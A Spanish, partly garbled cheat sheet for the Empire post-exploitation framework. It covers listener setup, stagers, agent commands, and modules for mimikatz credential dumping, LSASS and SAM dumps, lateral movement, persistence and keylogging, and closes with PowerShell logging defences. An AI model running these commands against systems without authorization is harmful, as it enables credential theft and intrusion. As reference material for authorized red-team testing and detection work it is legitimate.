Hoja de goma marco del Imperio¶
"Clase de la hoja" id="copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos id="pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button ■/div titulada
Sinopsis¶
Empire es un marco post-explotación que incluye un agente de Windows de PowerShell 2.0 puro y un agente Python 3 Linux/macOS puro. Proporciona una poderosa infraestructura de mando y control (C2) para operaciones de equipo rojo, pruebas de penetración y emulación de adversarios.
NOVEDAD Advertencia: Empire es una herramienta de pruebas de seguridad que sólo debe ser utilizada en entornos donde tienes permiso explícito para hacerlo.
Instalación¶
De GitHub¶
# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git
# Navigate to the directory
cd Empire
# Run the installation script
sudo ./setup/install.sh
Usando Docker¶
# Pull the Docker image
docker pull bcsecurity/empire:latest
# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
En Kali Linux¶
Uso básico¶
Inicio Empire¶
# Start the Empire server
sudo empire
# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>
Utilizando Starkiller (GUI)¶
Empire CLI Navegación¶
Command | Description |
---|---|
help |
Display help menu |
menu |
Return to the main menu |
back |
Go back one menu level |
exit |
Exit Empire |
usemodule <module> |
Select a module to use |
usestager <stager> |
Select a stager to use |
uselistener <listener> |
Select a listener to use |
interact <agent> |
Interact with an agent |
searchmodule <term> |
Search for modules |
Oyentes¶
Crear un oyente¶
# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute
Opciones de escucha común¶
Option | Description |
---|---|
Name |
Name for the listener |
Host |
IP/hostname for staging |
Port |
Port for the listener |
CertPath |
Certificate path for HTTPS |
DefaultDelay |
Agent callback delay (in seconds) |
DefaultJitter |
Jitter in agent callbacks (0.0-1.0) |
DefaultProfile |
Default communication profile |
KillDate |
Date for the listener to exit (MM/DD/YYYY) |
WorkingHours |
Hours for the agent to callback (09:00-17:00) |
Gestión de escuchas¶
# List all listeners
listeners
# Kill a listener
kill http_listener
# View a listener's options
info http_listener
Stagers¶
Generando un Stager¶
Tipos comunes de estadilla¶
Stager | Description |
---|---|
windows/launcher_bat |
BAT file launcher |
windows/launcher_vbs |
VBS script launcher |
windows/launcher_powershell |
PowerShell launcher |
multi/launcher |
Multi-platform launcher |
osx/launcher |
macOS launcher |
linux/launcher |
Linux launcher |
windows/dll |
DLL launcher |
windows/macro |
Office macro launcher |
windows/hta |
HTA launcher |
Agentes¶
Agente Mandos¶
# List all agents
agents
# Interact with an agent
interact C2AGENT123
# Get agent info
info
# Execute a shell command
shell whoami
# Run a PowerShell command
powershell Get-Process
# Upload a file
upload /path/to/local/file /path/on/target
# Download a file
download /path/on/target /local/path
# Take a screenshot
screenshot
# Exit agent menu
back
Agent Management¶
# Rename an agent
rename C2AGENT123 new_name
# Kill an agent
kill C2AGENT123
# Remove an agent from the database
remove C2AGENT123
# Set sleep interval
sleep 30
# Set jitter percentage
sysinfo
Módulos¶
Utilizando módulos¶
# List available modules
usemodule
# Search for modules
searchmodule credentials
# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user
# Set module options
set Username administrator
# Execute the module
execute
Common Module Categories¶
Acceso Credencial¶
# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords
# Dump SAM database
usemodule powershell/credentials/sam
# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump
Sensibilización de la situación¶
# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user
# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer
# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group
Movimiento Lateral¶
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec
# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm
Persistencia¶
# Registry persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks
# WMI persistence
usemodule powershell/persistence/elevated/wmi
Características avanzadas¶
Malleable C2 Profiles¶
OPSEC Consideraciones¶
# Set agent kill date
set KillDate 01/01/2025
# Set working hours
set WorkingHours 09:00-17:00
# Increase agent sleep time
sleep 300 30
Exfiltración de datos¶
# Use keylogging module
usemodule powershell/collection/keylogger
# Use clipboard monitoring
usemodule powershell/collection/clipboard_monitor
# Use screenshot module
usemodule powershell/collection/screenshot
Solución de problemas¶
Cuestiones comunes¶
- **Problemas de conciliación* *
# Check if the listener is running listeners # Verify firewall settings sudo iptables -L # Check for port conflicts netstat -tuln|grep <port> ``` 2. **El agente no está mirando En** ```bash # Verify agent is running agents # Check for network connectivity issues # Verify sleep/jitter settings ``` 3. ** Fallos de ejecución moderada* * ```bash # Check module requirements info # Verify agent privileges shell whoami # Try running in a different process context usemodule powershell/management/psinject ``` ## Medidas de defensa ### Métodos de detección - PowerShell Script Block Logging - Módulo PowerShell Logging - AMSI (Antimalware Scan Interface) - Análisis de tráfico de redes - Análisis conductual ### Técnicas de prevención ```powershell # Enable PowerShell Script Block Logging Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 # Enable PowerShell Module Logging Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1 # Enable Constrained Language Mode $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
Recursos¶
-...
*Esta hoja de trampa proporciona una referencia completa para usar Empire en escenarios de pruebas de seguridad. Siempre asegúrese de tener una autorización adecuada antes de usar esta herramienta en cualquier entorno. *